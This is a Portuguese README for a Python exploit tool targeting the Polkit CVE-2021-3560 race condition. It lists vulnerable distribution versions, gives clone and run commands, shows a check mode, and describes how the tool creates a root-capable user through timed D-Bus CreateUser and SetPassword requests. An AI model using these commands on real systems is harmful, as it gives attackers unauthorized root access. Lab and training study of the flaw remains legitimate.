
Exploração para CVE-2021-3560 Vulnerabilidade de Escalonamento Local de Privilégios no Polkit
.--. .-" "-. .--.
/ .. \/ .-. .-. \/ .. \
| | '| / Y \ |' | |
| \ \ \ 0 | 0 / / / |
\ '- ,\.-"`` ``"-./, -' /
`'-' /_ ^ ^ _\ '-'`
.--'| \._ _./ |'--.
/` \ \ `~` / / `\
/ '._ '---' _.' \
/ '~---~' \
/ \
Um exploit automatizado para a vulnerabilidade CVE-2021-3560 que afeta o PolicyKit (Polkit) em sistemas Linux.
⚠️ AVISO: Esta ferramenta é destinada apenas para fins educacionais e de treinamento em cibersegurança em um ambiente de laboratório controlado. O uso não autorizado deste exploit em sistemas que você não possui é ilegal.
CVE-2021-3560 é uma vulnerabilidade local de condição de corrida no PolicyKit (polkit) que permite a um usuário sem privilégios obter acesso root em sistemas Linux vulneráveis.
A vulnerabilidade afeta dois ramos do Polkit com numerações de versão diferentes:
bfa5036 (versão 0.113)f81d021 (versão 0.105-26)| Distribuição | Versão do Polkit | Vulnerável? |
|---|---|---|
| Ubuntu 20.04 | 0.105-26ubuntu1 | ✅ Sim |
| Ubuntu 18.04 | 0.105-20 | ❌ Não |
| Debian testing "bullseye" | 0.105-31+ | ✅ Sim |
| Debian 10 "buster" | 0.105-25 | ❌ Não |
| RHEL 8 | 0.115-11+ | ✅ Sim |
| RHEL 7 | < 0.113 | ❌ Não |
| Fedora 21+ | 0.113+ | ✅ Sim |
| Fedora 20 e anteriores | < 0.113 | ❌ Não |
📝 Nota: Sistemas com patches de segurança aplicados (ex.: ubuntu1.1, deb10u1) não são vulneráveis.
O exploit requer as seguintes ferramentas (verificadas automaticamente):
- dbus-send # Para comunicar com o D-Bus
- pkexec # Parte do PolicyKit
- id # Para verificar criação de usuário
- openssl # Para gerar hash de senha
- accountsservice # Deve estar instalado e ativo
# Clone o repositório (ou baixe o arquivo)
git clone https://github.com/[seu-repositorio]/CVE-2021-3560_Polkit.git
cd CVE-2021-3560_Polkit
# Torne o script executável
chmod +x CVE-2021-3560_Polkit.py
Verifique se o sistema é vulnerável sem executar o exploit:
python3 CVE-2021-3560_Polkit.py --check
Exemplo de saída:
[*] ============================================================
[*] Verificador de Vulnerabilidade CVE-2021-3560 Polkit
[*] ============================================================
[*] Detectando sistema operacional...
[+] SO: Ubuntu 20.04
[*] Verificando dependências necessárias...
[+] Encontrado: dbus-send
[+] Encontrado: pkexec
[+] Encontrado: id
[+] Encontrado: openssl
[*] Detectando versão do Polkit...
[+] Versão do Polkit: 0.105-26ubuntu1
[+] ============================================================
[+] O SISTEMA PARECE VULNERÁVEL!
[+] ============================================================
[*] Fork Debian/Ubuntu detectado (vulnerável desde 0.105-26)
Criar um usuário privilegiado:
python3 CVE-2021-3560_Polkit.py -u <nome_usuario> -p <senha>
Exemplo:
python3 CVE-2021-3560_Polkit.py -u hacker -p Password123!
uso: CVE-2021-3560_Polkit.py [-h] [-u USUARIO] [-p SENHA] [-c]
opções:
-h, --help Mostrar ajuda
-u, --username Nome do usuário a criar
-p, --password Senha para o novo usuário
-c, --check Verificar vulnerabilidade sem explorar
O exploit explora uma condição de corrida no PolicyKit durante o processamento de requisições D-Bus.
┌─────────────────────────────────────────────────────────┐
│ 1. Medição do tempo ideal │
│ └─> Execução de teste para calibrar o tempo │
├─────────────────────────────────────────────────────────┤
│ 2. Exploração: Criação de usuário │
│ └─> Enviar requisição D-Bus CreateUser │
│ └─> Matar o processo no momento exato (condição de corrida) │
│ └─> Verificar se o usuário foi criado │
├─────────────────────────────────────────────────────────┤
│ 3. Geração do hash da senha │
│ └─> Usando openssl passwd -6 │
├─────────────────────────────────────────────────────────┤
│ 4. Exploração: Definição da senha │
│ └─> Enviar requisição D-Bus SetPassword │
│ └─> Matar o processo no momento exato (condição de corrida) │
│ └─> Testar login com senha │
├─────────────────────────────────────────────────────────┤
│ 5. Escalação de privilégio │
│ └─> Logar com a conta criada │
│ └─> Usar sudo se membro do grupo sudo │
└─────────────────────────────────────────────────────────┘
# 1. Verificar vulnerabilidade
usuario@vulneravel:~$ python3 CVE-2021-3560_Polkit.py --check
[+] O SISTEMA PARECE VULNERÁVEL!
# 2. Executar exploit
usuario@vulneravel:~$ python3 CVE-2021-3560_Polkit.py -u pwned -p Pwn3d123!
╔═══════════════════════════════════════════════════════════╗
║ CVE-2021-3560 Escalação de Privilégio Polkit ║
╚═══════════════════════════════════════════════════════════╝